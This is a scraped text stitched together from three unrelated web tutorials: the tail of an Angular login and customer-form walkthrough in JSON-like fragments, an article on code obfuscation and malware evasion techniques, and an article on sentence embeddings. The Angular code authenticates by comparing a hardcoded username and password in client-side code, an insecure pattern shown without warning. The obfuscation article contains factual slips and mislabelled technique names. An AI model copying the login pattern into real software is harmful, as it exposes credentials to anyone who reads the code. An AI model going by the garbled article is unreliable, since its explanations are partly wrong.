main structure of the file that will be seen by the user." }, { "code": null, "e": 101740, "s": 101616, "text": "<div class=\"mainpage\">\n <app-header></app-header>\n <router-outlet></router-outlet>\n <app-footer></app-footer>\n</div>\n" }, { "code": null, "e": 101862, "s": 101740, "text": "We have created a div and added <app-header></app-header>, <router-outlet></router-outlet> and <app-footer></app-footer>." }, { "code": null, "e": 102066, "s": 101862, "text": "The <router-outlet></router-outlet> is used for navigation between one page to another. Here, the pages are login-form and once it is successful it will redirect to the mainpage, i.e., the customer form." }, { "code": null, "e": 102192, "s": 102066, "text": "To get the login-form first and later get the mainpage.component.html, the changes are done in app.module.ts as shown below −" }, { "code": null, "e": 103532, "s": 102192, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { ReactiveFormsModule } from '@angular/forms';\n\nimport { RouterModule, Routes} from '@angular/router';\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\nimport {MdTableModule} from '@angular/material';\n\nimport {HttpModule} from \"@angular/http\";\nimport {MdInputModule} from '@angular/material';\nimport { AppComponent } from './app.component';\n\nimport { HeaderComponent } from './header/header.component';\nimport { FooterComponent } from './footer/footer.component';\nimport { UserloginComponent } from './userlogin/userlogin.component';\nimport { MainpageComponent } from './mainpage/mainpage.component';\n\nconst appRoutes: Routes = [\n {\n path: '',\n component: UserloginComponent\n },\n {\n path: 'app-mainpage',\n component: MainpageComponent\n }\n];\n\n@NgModule({\n declarations: [\n AppComponent,\n HeaderComponent,\n FooterComponent,\n UserloginComponent,\n MainpageComponent\n ],\n \n imports: [\n BrowserModule,\n ReactiveFormsModule,\n RouterModule.forRoot(appRoutes),\n BrowserAnimationsModule,\n HttpModule,\n MdTableModule,\n MdInputModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 103682, "s": 103532, "text": "We have imported RouterModule and Routes from @anuglar/router. In imports, the RouterModules takes appRoutes as the param which is defined above as −" }, { "code": null, "e": 103850, "s": 103682, "text": "const appRoutes: Routes = [\n {\n path: '',\n component: UserloginComponent\n },\n {\n path: 'app-mainpage',\n component: MainpageComponent\n }\n];\n" }, { "code": null, "e": 103935, "s": 103850, "text": "Routes take the array of components and by default the userloginComponent is called." }, { "code": null, "e": 104071, "s": 103935, "text": "In userlogin.component.ts, we have imported the router and navigated to mainpage.component.html based on the condition as shown below −" }, { "code": null, "e": 105175, "s": 104071, "text": "import { Component, OnInit } from '@angular/core';\nimport { FormGroup, FormControl, Validators} from '@angular/forms';\nimport { Router} from '@angular/router';\n\n@Component({\n selector: 'app-userlogin',\n templateUrl: './userlogin.component.html',\n styleUrls: ['./userlogin.component.css']\n})\n\nexport class UserloginComponent implements OnInit {\n formdata;\n constructor(private router: Router) { }\n ngOnInit() {\n this.formdata = new FormGroup({\n uname: new FormControl(\"\", Validators.compose([\n Validators.required,\n Validators.minLength(6)\n ])),\n passwd: new FormControl(\"\", this.passwordvalidation)\n });\n }\n \n passwordvalidation(formcontrol) {\n if (formcontrol.value.length < 5) {\n return {\"passwd\" : true};\n }\n }\n \n onClickSubmit(data) {\n console.log(data.uname);\n if (data.uname==\"systemadmin\" && data.passwd==\"admin123\") {\n alert(\"Login Successful\");\n this.router.navigate(['app-mainpage'])\n } else {\n alert(\"Invalid Login\");\n return false;\n }\n }\n}" }, { "code": null, "e": 105267, "s": 105175, "text": "Following is the .ts file for app.component.ts. Only the default details are present in it." }, { "code": null, "e": 105474, "s": 105267, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {title = 'app';}\n" }, { "code": null, "e": 105736, "s": 105474, "text": "Let us now display the details of each of the components files. To start with, we will first take the header component. For the new component, four files are created header.component.ts, header.component.html, header.component.css, and header.component.spec.ts." }, { "code": null, "e": 106006, "s": 105736, "text": "import { Component, OnInit } from '@angular/core';\n\n@Component({\n selector: 'app-header',\n templateUrl: './header.component.html',\n styleUrls: ['./header.component.css']\n})\n\nexport class HeaderComponent implements OnInit {\n constructor() { }\n ngOnInit() {}\n}\n" }, { "code": null, "e": 106030, "s": 106006, "text": "<div>\n <hr />\n</div>\n" }, { "code": null, "e": 106196, "s": 106030, "text": "We have not added any css. This makes the header.component.css file empty. Also, the header.compoent.spec.ts file is empty as the test cases are not considered here." }, { "code": null, "e": 106323, "s": 106196, "text": "For the header, we will draw a horizontal line. A logo or any other detail can be added to make the header look more creative." }, { "code": null, "e": 106372, "s": 106323, "text": "Let us now consider creating a footer component." }, { "code": null, "e": 106511, "s": 106372, "text": "For the footer component, footer.component.ts, footer.component.html, footer.component.spec.ts and footer.component.css files are created." }, { "code": null, "e": 106781, "s": 106511, "text": "import { Component, OnInit } from '@angular/core';\n\n@Component({\n selector: 'app-footer',\n templateUrl: './footer.component.html',\n styleUrls: ['./footer.component.css']\n})\n\nexport class FooterComponent implements OnInit {\n constructor() { }\n ngOnInit() { }\n}" }, { "code": null, "e": 106788, "s": 106781, "text": "<hr/>\n" }, { "code": null, "e": 106949, "s": 106788, "text": "As we have not added any css, the footer.component.css file is empty. Also, the footer.compoent.spec.ts file is empty as the test cases are not considered here." }, { "code": null, "e": 107029, "s": 106949, "text": "For the footer, we will just draw a horizontal line as shown in the .html file." }, { "code": null, "e": 107243, "s": 107029, "text": "Let us now see how the userlogin component works. The following files for userlogin component created are userlogin.component.css, userlogin.component.html, userlogin.component.ts, and userlogin.component.spec.ts." }, { "code": null, "e": 107285, "s": 107243, "text": "The details of the files are as follows −" }, { "code": null, "e": 107889, "s": 107285, "text": "<div class=\"form_container\">\n <form [formGroup]=\"formdata\" (ngSubmit) = \"onClickSubmit(formdata.value)\" >\n <header>Login</header>\n <label>Username <span>*</span></label>\n <input type=\"text\" name=\"uname\" formControlName=\"uname\"/>\n \n <div class=\"help\">At least 6 character</div>\n <label>Password <span>*</span></label>\n <input type=\"password\" class=\"fortextbox\" name=\"passwd\" formControlName=\"passwd\"/>\n \n <div class=\"help\">Use upper and lowercase lettes as well</div>\n <button [disabled]=\"!formdata.valid\" value=\"Login\">Login</button>\n </form>\n</div>" }, { "code": null, "e": 108065, "s": 107889, "text": "Here, we have created form with two input controls Username and Password. This is a model driven form approach and the details of the same are explained in Chapter 14 - Forms." }, { "code": null, "e": 108278, "s": 108065, "text": "We consider the username and password mandatory, hence the validation for the same is added in the ts. Upon clicking the submit button, the control is passed to the onClickSubmit, which is defined in the ts file." }, { "code": null, "e": 109307, "s": 108278, "text": "import { Component, OnInit } from '@angular/core';\nimport { FormGroup, FormControl, Validators} from '@angular/forms';\nimport { Router} from '@angular/router';\n\n@Component({\n selector: 'app-userlogin',\n templateUrl: './userlogin.component.html',\n styleUrls: ['./userlogin.component.css']\n})\n\nexport class UserloginComponent implements OnInit {\n formdata;\n constructor(private router: Router) { }\n ngOnInit() {\n this.formdata = new FormGroup({\n uname: new FormControl(\"\", Validators.compose([\n Validators.required,\n Validators.minLength(6)\n ])),\n passwd: new FormControl(\"\", this.passwordvalidation)\n });\n }\n passwordvalidation(formcontrol) {\n if (formcontrol.value.length < 5) {\n return {\"passwd\" : true};\n }\n }\n onClickSubmit(data) {\n console.log(data.uname);\n if (data.uname == \"systemadmin\" && data.passwd == \"admin123\") {\n alert(\"Login Successful\");\n this.router.navigate(['app-mainpage'])\n }\n }\n}" }, { "code": null, "e": 109383, "s": 109307, "text": "For the formcontrol and validation, the modules are imported as shown below" }, { "code": null, "e": 109452, "s": 109383, "text": "import { FormGroup, FormControl, Validators} from '@angular/forms';\n" }, { "code": null, "e": 109596, "s": 109452, "text": "We need a router to navigate to a different component when the user and password are correct. For this, the router is imported as shown below −" }, { "code": null, "e": 109638, "s": 109596, "text": "import { Router} from '@angular/router';\n" }, { "code": null, "e": 109812, "s": 109638, "text": "In ngOnInit, the validation for the form is done. We need the username to be more than six characters and the field is mandatory. The same condition applies to password too." }, { "code": null, "e": 110060, "s": 109812, "text": "Upon clicking submit, we can check if the username is systemadmin and the password is admin123. If yes, a dialog box appears that shows Login Successful and the router navigates to the app-mainpage, which is the selector of the mainpage component." }, { "code": null, "e": 110126, "s": 110060, "text": "There is css added for the form in userlogin.component.css file −" }, { "code": null, "e": 111494, "s": 110126, "text": ".form_container{\n margin : 0 auto;\n width:600px;\n}\n\nform {\n background: white;\n width: 500px;\n box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.7);\n font-family: lato;\n position: relative;\n color: #333;\n border-radius: 10px;\n}\n\nform header {\n background: #FF3838;\n padding: 30px 20px;\n color: white;\n font-size: 1.2em;\n font-weight: 600;\n border-radius: 10px 10px 0 0;\n}\n\nform label {\n margin-left: 20px;\n display: inline-block;\n margin-top: 30px;\n margin-bottom: 5px;\n position: relative;\n}\n\nform label span {\n color: #FF3838;\n font-size: 2em;\n position: absolute;\n left: 2.3em;\n top: -10px;\n}\nform input {\n display: block;\n width: 50%;\n margin-left: 20px;\n padding: 5px 20px;\n font-size: 1em;\n border-radius: 3px;\n outline: none;\n border: 1px solid #ccc;\n}\n\nform .help {\n margin-left: 20px;\n font-size: 0.8em;\n color: #777;\n}\n\nform button {\n position: relative;\n margin-top: 30px;\n margin-bottom: 30px;\n left: 50%;\n transform: translate(-50%, 0);\n font-family: inherit;\n color: white;\n background: #FF3838;\n outline: none;\n border: none;\n padding: 5px 15px;\n font-size: 1.3em;\n font-weight: 400;\n border-radius: 3px;\n box-shadow: 0px 0px 10px rgba(51, 51, 51, 0.4);\n cursor: pointer;\n transition: all 0.15s ease-in-out;\n}\nform button:hover {\n background: #ff5252;\n}" }, { "code": null, "e": 111574, "s": 111494, "text": "The userlogin.component.spec.ts file is empty as there no test cases right now." }, { "code": null, "e": 111777, "s": 111574, "text": "Let us now discuss how the mainpage component works. The files created for mainpage component are mainpage.component.ts, mainpage.component.html, mainpage.component.css, and mainpage.component.spect.ts." }, { "code": null, "e": 112958, "s": 111777, "text": "import { Component, OnInit, ViewChild} from '@angular/core';\nimport { FormGroup, FormControl, Validators} from '@angular/forms';\n\nimport {Http, Response, Headers, RequestOptions } from \"@angular/http\";\nimport 'rxjs/add/operator/map';\n\n@Component({\n selector: 'app-mainpage',\n templateUrl: './mainpage.component.html',\n styleUrls: ['./mainpage.component.css']\n})\n\nexport class MainpageComponent implements OnInit {\n formdata;\n cutomerdata;\n constructor(private http: Http) { }\n stateCtrl: FormControl;\n ngOnInit() {\n this.formdata = new FormGroup({\n fname: new FormControl(\"\", Validators.compose([\n Validators.required,\n Validators.minLength(3)\n ])),\n lname: new FormControl(\"\", Validators.compose([\n Validators.required,\n Validators.minLength(3)\n ])),\n address:new FormControl(\"\"),\n phoneno:new FormControl(\"\")\n });\n }\n onClickSubmit(data) {\n document.getElementById(\"custtable\").style.display=\"\";\n this.cutomerdata = [];\n for (var prop in data) {\n this.cutomerdata.push(data[prop]);\n }\n console.log(this.cutomerdata);\n }\n}" }, { "code": null, "e": 113255, "s": 112958, "text": "We have created a customer form with firstname, lastname , address and phone number. The validation of the same is done with the ngOnInit function. Upon clicking submit, the control comes to the function onClickSubmit. Here, the table which is used to display the entered details is made visible." }, { "code": null, "e": 113403, "s": 113255, "text": "The customerdata is converted from json to array so that we can use the same in ngFor on the table, which is done in the .html file as shown below." }, { "code": null, "e": 114432, "s": 113403, "text": "<div class=\"form_container\">\n <form [formGroup]=\"formdata\" (ngSubmit) = \"onClickSubmit(formdata.value)\" >\n <header>Customer Details</header>\n <label>FirstName <span>*</span></label>\n <input type=\"text\" name=\"fname\" formControlName=\"fname\"/>\n <label>LastName <span>*</span></label>\n \n <input type=\"text\" name=\"lname\" formControlName=\"lname\"/>\n <label>Address <span></span></label>\n <input type=\"text\" name=\"address\" formControlName=\"address\"/>\n <label>Phone No <span></span></label>\n <input type=\"text\" name=\"phoneno\" formControlName=\"phoneno\"/>\n <button [disabled]=\"!formdata.valid\" value=\"Submit\">Submit</button>\n </form>\n</div>\n<br/>\n\n<div id=\"custtable\" style=\"display:none;margin:0 auto;\">\n <table>\n <tr>\n <td>FirstName</td>\n <td>LastName</td>\n <td>Address</td>\n <td>Phone No</td>\n </tr>\n <tr>\n <td *ngFor=\"let data of cutomerdata\">\n <h5>{{data}}</h5>\n </td>\n </tr>\n </table>\n</div>" }, { "code": null, "e": 114677, "s": 114432, "text": "Here, the first div has the customer details and the second div has the table, which will show the entered details. The display of the userlogin and the customer details is as shown below. This is the page with login form and header and footer." }, { "code": null, "e": 114735, "s": 114677, "text": "Once you enter the details, the display is as shown below" }, { "code": null, "e": 114808, "s": 114735, "text": "Upon clicking submit, a dialog box appears which shows Login Successful." }, { "code": null, "e": 114900, "s": 114808, "text": "If the details are invalid, a dialog box appears which shows Invalid Login as shown below −" }, { "code": null, "e": 114998, "s": 114900, "text": "If the login is successful, it will proceed to the next form of Customer Details as shown below −" }, { "code": null, "e": 115141, "s": 114998, "text": "Once the details are entered and submitted, a dialog box appears which shows the Customer Details are added as shown in the screenshot below −" }, { "code": null, "e": 115242, "s": 115141, "text": "When we click OK in the above screenshot, the details will appear as shown in the screenshot below −" }, { "code": null, "e": 115277, "s": 115242, "text": "\n 16 Lectures \n 1.5 hours \n" }, { "code": null, "e": 115291, "s": 115277, "text": " Anadi Sharma" }, { "code": null, "e": 115326, "s": 115291, "text": "\n 28 Lectures \n 2.5 hours \n" }, { "code": null, "e": 115340, "s": 115326, "text": " Anadi Sharma" }, { "code": null, "e": 115375, "s": 115340, "text": "\n 11 Lectures \n 7.5 hours \n" }, { "code": null, "e": 115395, "s": 115375, "text": " SHIVPRASAD KOIRALA" }, { "code": null, "e": 115430, "s": 115395, "text": "\n 16 Lectures \n 2.5 hours \n" }, { "code": null, "e": 115447, "s": 115430, "text": " Frahaan Hussain" }, { "code": null, "e": 115480, "s": 115447, "text": "\n 69 Lectures \n 5 hours \n" }, { "code": null, "e": 115492, "s": 115480, "text": " Senol Atac" }, { "code": null, "e": 115527, "s": 115492, "text": "\n 53 Lectures \n 3.5 hours \n" }, { "code": null, "e": 115539, "s": 115527, "text": " Senol Atac" }, { "code": null, "e": 115546, "s": 115539, "text": " Print" }, { "code": null, "e": 115557, "s": 115546, "text": " Add Notes" } ]
What is Obfuscation? - GeeksforGeeks
30 Jun, 2020 Obfuscation is a well-known term in software engineering. It is the concealment of written code purposefully by the programmer. It is mainly done for the purposes of security by making it obscure to avoid tampering, hide implicit values or conceal the logic used. One can obfuscate code with the help of language-specific deobfuscators that convert into meaningful code. For example: Below is an obfuscated C code:int i;main(){for(i=0;i["]<i;++i){--i;}"];read('-'-'-',i+++"hell\o,world!\n",'/'/'/'));}read(j,i,p){write(j/p+p,i---j,i/i);} int i;main(){for(i=0;i["]<i;++i){--i;}"];read('-'-'-',i+++"hell\o,world!\n",'/'/'/'));}read(j,i,p){write(j/p+p,i---j,i/i);} Here is the deobfuscated version which a person can understand.int i; void write_char(char ch){ printf("%c", ch);} int main(){ for (i = 0; i < 15; i++) { write_char("hello, world!\n"[i]); } return 0;} int i; void write_char(char ch){ printf("%c", ch);} int main(){ for (i = 0; i < 15; i++) { write_char("hello, world!\n"[i]); } return 0;} How to obfuscate code in apps?To understand obfuscation, we need to know how Android and Java implement this in-app formation. There are two ways to obfuscate code in apps: Shrinking: It helps detect and safely remove unused classes, fields, methods, and attributes from the app’s release build.Optimization: It helps in inspecting and rewriting the code to reduce its size. For example, if an optimizer detects an if-else statement in which the else {} statement is never used, the code for the else statement is removed. Examples of code shrinkers and optimizers are ProGuard for both Java and Android and R8 for Android. Shrinking: It helps detect and safely remove unused classes, fields, methods, and attributes from the app’s release build. Optimization: It helps in inspecting and rewriting the code to reduce its size. For example, if an optimizer detects an if-else statement in which the else {} statement is never used, the code for the else statement is removed. Examples of code shrinkers and optimizers are ProGuard for both Java and Android and R8 for Android. How to determine quality of an obfuscation method?The quality of an obfuscation method is determined by the combination of its potency, resilience, stealth and cost. Stealth: It is necessary to hide the flow of control of a program.Cost: Cost-effectiveness is necessary so that an obfuscation technique can be applied on a large scale over several similar applications.Potency: Potency defines to what degree the transformed code is more obscure than the original. Software complexity metrics define various complexity measures for software, such as the number of predicates it contains, depth of its inheritance tree, nesting levels, etc. While the goal of good software design is to minimize complexity based on these parameters, the goal of obfuscation is to maximize it.Resilience: Resilience defines how well the transformed code can resist automated deobfuscation attacks. It is a combination of the programmer effort to create a deobfuscator and the time and space required by the deobfuscator. The highest degree of resilience is a one-way transformation that cannot be undone by a deobfuscator. An example is when the obfuscation removes information such as source code formatting. Stealth: It is necessary to hide the flow of control of a program. Cost: Cost-effectiveness is necessary so that an obfuscation technique can be applied on a large scale over several similar applications. Potency: Potency defines to what degree the transformed code is more obscure than the original. Software complexity metrics define various complexity measures for software, such as the number of predicates it contains, depth of its inheritance tree, nesting levels, etc. While the goal of good software design is to minimize complexity based on these parameters, the goal of obfuscation is to maximize it. Resilience: Resilience defines how well the transformed code can resist automated deobfuscation attacks. It is a combination of the programmer effort to create a deobfuscator and the time and space required by the deobfuscator. The highest degree of resilience is a one-way transformation that cannot be undone by a deobfuscator. An example is when the obfuscation removes information such as source code formatting. Advantages of Obfuscation: A famous method used for obfuscation is iterative code obfuscation. Used in many applications, iterative code obfuscation is a procedure where one or more obfuscation algorithms are repeatedly applied to code, with the output of the previous obfuscation algorithm providing the input to the next obfuscation algorithm. This can be called as a way to add layers of security to the code. If a person is releasing valuable software (especially Java, Android, .NET and iOS) anywhere outside his or her immediate control and the source code is not distributed, obfuscation should probably be part of the application development process. Obfuscation makes it much more difficult for attackers to review the code and analyze the application. It also may make it hard for hackers to debug and tamper with your application. The end goal is to make it difficult to extract or discover useful information, such as trade secrets (IP), credentials, or security vulnerabilities from an application. Disadvantages of Obfuscation:Obfuscation is also used by cybercriminals. Let’s see how to protect ourselves from them. Obfuscation is widely used by malware writers to evade antivirus scanners. It is essential to analyze how these obfuscation techniques are used in malware. Dead-Code Insertion: This is a simple rudimentary technique that functions by adding ineffective instructions to a program to change its appearance, however, not altering its behaviour. To combat dead-code insertions, the signature-based antivirus scanners should be able to delete the ineffective instructions before analysis. Instruction Subroutines: This kind of obfuscation technique makes sure the original code evolves by replacing some instructions with other equivalents to the original instructions ones. Code Transportation: Code transposition employs a reordering of sequences of the instruction of an original code without having any visible impact on the code’s behaviour. Essentially, there are two methods to deploy this technique into action. The first method is randomly shuffling the instructions, proceeding on to recovering the original execution order by inserting the unconditional branches or jumps. A way to combat this type of obfuscation is to restore the original program by removing the unconditional branches or jumps. In comparison, the second method creates new generations by choosing and reordering the free instructions which have no impact on one another. It is a sophisticated and complex problem to find free instructions. This method is hard to implement and it can also make the cost of detection high. Code Integration: Code integration was firstly introduced by the Win95/Zmist malware also known as Zmist. The Zmist malware binds itself to the code of its target program. In order to execute this technique of obfuscation, Zmist must firstly decompile its target program into small manageable objects, and slot itself between them, proceeding on to reassembling the integrated code into a new generation. By far this is one of the most sophisticated obfuscation techniques and can make detection and recovery very difficult, as well as costly. Akanksha_Rai Software Engineering Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Software Engineering | Seven Principles of software testing Software Development Life Cycle (SDLC) Architecture of Cloud Computing Software Engineering | Black box testing Use Case Diagram for Library Management System What is DFD(Data Flow Diagram)? Non-functional Requirements in Software Engineering System Testing Elements of the Requirements Model Software Engineering | Control Flow Graph (CFG)
[ { "code": null, "e": 24557, "s": 24529, "text": "\n30 Jun, 2020" }, { "code": null, "e": 24928, "s": 24557, "text": "Obfuscation is a well-known term in software engineering. It is the concealment of written code purposefully by the programmer. It is mainly done for the purposes of security by making it obscure to avoid tampering, hide implicit values or conceal the logic used. One can obfuscate code with the help of language-specific deobfuscators that convert into meaningful code." }, { "code": null, "e": 24941, "s": 24928, "text": "For example:" }, { "code": null, "e": 25096, "s": 24941, "text": "Below is an obfuscated C code:int i;main(){for(i=0;i[\"]<i;++i){--i;}\"];read('-'-'-',i+++\"hell\\o,world!\\n\",'/'/'/'));}read(j,i,p){write(j/p+p,i---j,i/i);} " }, { "code": "int i;main(){for(i=0;i[\"]<i;++i){--i;}\"];read('-'-'-',i+++\"hell\\o,world!\\n\",'/'/'/'));}read(j,i,p){write(j/p+p,i---j,i/i);} ", "e": 25221, "s": 25096, "text": null }, { "code": null, "e": 25443, "s": 25221, "text": "Here is the deobfuscated version which a person can understand.int i; void write_char(char ch){ printf(\"%c\", ch);} int main(){ for (i = 0; i < 15; i++) { write_char(\"hello, world!\\n\"[i]); } return 0;}" }, { "code": "int i; void write_char(char ch){ printf(\"%c\", ch);} int main(){ for (i = 0; i < 15; i++) { write_char(\"hello, world!\\n\"[i]); } return 0;}", "e": 25602, "s": 25443, "text": null }, { "code": null, "e": 25775, "s": 25602, "text": "How to obfuscate code in apps?To understand obfuscation, we need to know how Android and Java implement this in-app formation. There are two ways to obfuscate code in apps:" }, { "code": null, "e": 26226, "s": 25775, "text": "Shrinking: It helps detect and safely remove unused classes, fields, methods, and attributes from the app’s release build.Optimization: It helps in inspecting and rewriting the code to reduce its size. For example, if an optimizer detects an if-else statement in which the else {} statement is never used, the code for the else statement is removed. Examples of code shrinkers and optimizers are ProGuard for both Java and Android and R8 for Android." }, { "code": null, "e": 26349, "s": 26226, "text": "Shrinking: It helps detect and safely remove unused classes, fields, methods, and attributes from the app’s release build." }, { "code": null, "e": 26678, "s": 26349, "text": "Optimization: It helps in inspecting and rewriting the code to reduce its size. For example, if an optimizer detects an if-else statement in which the else {} statement is never used, the code for the else statement is removed. Examples of code shrinkers and optimizers are ProGuard for both Java and Android and R8 for Android." }, { "code": null, "e": 26844, "s": 26678, "text": "How to determine quality of an obfuscation method?The quality of an obfuscation method is determined by the combination of its potency, resilience, stealth and cost." }, { "code": null, "e": 27869, "s": 26844, "text": "Stealth: It is necessary to hide the flow of control of a program.Cost: Cost-effectiveness is necessary so that an obfuscation technique can be applied on a large scale over several similar applications.Potency: Potency defines to what degree the transformed code is more obscure than the original. Software complexity metrics define various complexity measures for software, such as the number of predicates it contains, depth of its inheritance tree, nesting levels, etc. While the goal of good software design is to minimize complexity based on these parameters, the goal of obfuscation is to maximize it.Resilience: Resilience defines how well the transformed code can resist automated deobfuscation attacks. It is a combination of the programmer effort to create a deobfuscator and the time and space required by the deobfuscator. The highest degree of resilience is a one-way transformation that cannot be undone by a deobfuscator. An example is when the obfuscation removes information such as source code formatting." }, { "code": null, "e": 27936, "s": 27869, "text": "Stealth: It is necessary to hide the flow of control of a program." }, { "code": null, "e": 28074, "s": 27936, "text": "Cost: Cost-effectiveness is necessary so that an obfuscation technique can be applied on a large scale over several similar applications." }, { "code": null, "e": 28480, "s": 28074, "text": "Potency: Potency defines to what degree the transformed code is more obscure than the original. Software complexity metrics define various complexity measures for software, such as the number of predicates it contains, depth of its inheritance tree, nesting levels, etc. While the goal of good software design is to minimize complexity based on these parameters, the goal of obfuscation is to maximize it." }, { "code": null, "e": 28897, "s": 28480, "text": "Resilience: Resilience defines how well the transformed code can resist automated deobfuscation attacks. It is a combination of the programmer effort to create a deobfuscator and the time and space required by the deobfuscator. The highest degree of resilience is a one-way transformation that cannot be undone by a deobfuscator. An example is when the obfuscation removes information such as source code formatting." }, { "code": null, "e": 28924, "s": 28897, "text": "Advantages of Obfuscation:" }, { "code": null, "e": 29310, "s": 28924, "text": "A famous method used for obfuscation is iterative code obfuscation. Used in many applications, iterative code obfuscation is a procedure where one or more obfuscation algorithms are repeatedly applied to code, with the output of the previous obfuscation algorithm providing the input to the next obfuscation algorithm. This can be called as a way to add layers of security to the code." }, { "code": null, "e": 29909, "s": 29310, "text": "If a person is releasing valuable software (especially Java, Android, .NET and iOS) anywhere outside his or her immediate control and the source code is not distributed, obfuscation should probably be part of the application development process. Obfuscation makes it much more difficult for attackers to review the code and analyze the application. It also may make it hard for hackers to debug and tamper with your application. The end goal is to make it difficult to extract or discover useful information, such as trade secrets (IP), credentials, or security vulnerabilities from an application." }, { "code": null, "e": 30028, "s": 29909, "text": "Disadvantages of Obfuscation:Obfuscation is also used by cybercriminals. Let’s see how to protect ourselves from them." }, { "code": null, "e": 30184, "s": 30028, "text": "Obfuscation is widely used by malware writers to evade antivirus scanners. It is essential to analyze how these obfuscation techniques are used in malware." }, { "code": null, "e": 30512, "s": 30184, "text": "Dead-Code Insertion: This is a simple rudimentary technique that functions by adding ineffective instructions to a program to change its appearance, however, not altering its behaviour. To combat dead-code insertions, the signature-based antivirus scanners should be able to delete the ineffective instructions before analysis." }, { "code": null, "e": 30698, "s": 30512, "text": "Instruction Subroutines: This kind of obfuscation technique makes sure the original code evolves by replacing some instructions with other equivalents to the original instructions ones." }, { "code": null, "e": 31526, "s": 30698, "text": "Code Transportation: Code transposition employs a reordering of sequences of the instruction of an original code without having any visible impact on the code’s behaviour. Essentially, there are two methods to deploy this technique into action. The first method is randomly shuffling the instructions, proceeding on to recovering the original execution order by inserting the unconditional branches or jumps. A way to combat this type of obfuscation is to restore the original program by removing the unconditional branches or jumps. In comparison, the second method creates new generations by choosing and reordering the free instructions which have no impact on one another. It is a sophisticated and complex problem to find free instructions. This method is hard to implement and it can also make the cost of detection high." }, { "code": null, "e": 32070, "s": 31526, "text": "Code Integration: Code integration was firstly introduced by the Win95/Zmist malware also known as Zmist. The Zmist malware binds itself to the code of its target program. In order to execute this technique of obfuscation, Zmist must firstly decompile its target program into small manageable objects, and slot itself between them, proceeding on to reassembling the integrated code into a new generation. By far this is one of the most sophisticated obfuscation techniques and can make detection and recovery very difficult, as well as costly." }, { "code": null, "e": 32083, "s": 32070, "text": "Akanksha_Rai" }, { "code": null, "e": 32104, "s": 32083, "text": "Software Engineering" }, { "code": null, "e": 32202, "s": 32104, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 32211, "s": 32202, "text": "Comments" }, { "code": null, "e": 32224, "s": 32211, "text": "Old Comments" }, { "code": null, "e": 32284, "s": 32224, "text": "Software Engineering | Seven Principles of software testing" }, { "code": null, "e": 32323, "s": 32284, "text": "Software Development Life Cycle (SDLC)" }, { "code": null, "e": 32355, "s": 32323, "text": "Architecture of Cloud Computing" }, { "code": null, "e": 32396, "s": 32355, "text": "Software Engineering | Black box testing" }, { "code": null, "e": 32443, "s": 32396, "text": "Use Case Diagram for Library Management System" }, { "code": null, "e": 32475, "s": 32443, "text": "What is DFD(Data Flow Diagram)?" }, { "code": null, "e": 32527, "s": 32475, "text": "Non-functional Requirements in Software Engineering" }, { "code": null, "e": 32542, "s": 32527, "text": "System Testing" }, { "code": null, "e": 32577, "s": 32542, "text": "Elements of the Requirements Model" } ]
Word Embedding using Universal Sentence Encoder in Python - GeeksforGeeks
26 Mar, 2021 Unlike the word embedding techniques in which you represent word into vectors, in Sentence Embeddings entire sentence or text along with its semantics information is mapped into vectors of real numbers. This technique makes it possible to understand and process useful information of an entire text, which can then be used in understanding the context or meaning of the sentence in a better way. In this article, you will learn about how to create vectors for a complete sentence using Universal Sentence Encoder. For example: Let’s consider two sentences: – How old are you?What is your age? How old are you? What is your age? The above two sentences are similar in meaning i.e. we are trying to ask the person’s age. In the above two sentences, individual words and their vectors will not give a good insight into what a complete sentence is trying to convey, nor they will be able to classify if these two sentences are similar or not. So in such scenarios Sentence embeddings perform better than word embeddings. There are various Sentence embeddings techniques like Doc2Vec, SentenceBERT, Universal Sentence Encoder, etc. Universal Sentence Encoder encodes entire sentence or text into vectors of real numbers that can be used for clustering, sentence similarity, text classification, and other Natural language processing (NLP) tasks. The pre-trained model is available here under Apache-2.0 License. The pre-trained model is trained on greater than word length text, sentences, phrases, paragraphs, etc using a deep averaging network (DAN) encoder. Implementation of sentence embeddings using Universal Sentence Encoder: Run these command before running the code in your terminal to install the necessary libraries. pip install “tensorflow>=2.0.0” pip install –upgrade tensorflow-hub Program: Python3 # import necessary librariesimport tensorflow_hub as hub # Load pre-trained universal sentence encoder modelembed = hub.load("https://tfhub.dev/google/universal-sentence-encoder/4") # Sentences for which you want to create embeddings,# passed as an array in embed()Sentences = [ "How old are you", "What is your age", "I love to watch Television", "I am wearing a wrist watch"]embeddings = embed(Sentences) # Printing embeddings of each sentenceprint(embeddings) # To print each embeddings along with its corresponding # sentence below code can be used.for i in range(len(Sentences)): print(Sentences[i]) print(embeddings[i]) Output: tf.Tensor( [[-0.06045125 -0.00204541 0.02656925 ... 0.00764413 -0.02669661 0.05110302] [-0.08415682 -0.08687923 0.03446117 ... -0.01439389 -0.04546221 0.03639965] [ 0.0816019 -0.01570276 -0.05659245 ... -0.07133699 0.11040762 -0.0071095 ] [-0.00369539 0.03064634 -0.05556112 ... 0.01751423 0.0316496 -0.05139377]], shape=(4, 512), dtype=float32) Explanation: The above output represents input sentences into their corresponding vectors using the Universal Sentence encoder. Natural-language-processing Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to Install PIP on Windows ? How to drop one or multiple columns in Pandas Dataframe How To Convert Python Dictionary To JSON? Check if element exists in list in Python Python | Pandas dataframe.groupby() Defaultdict in Python Python | Get unique values from a list Python Classes and Objects Python | os.path.join() method Create a directory in Python
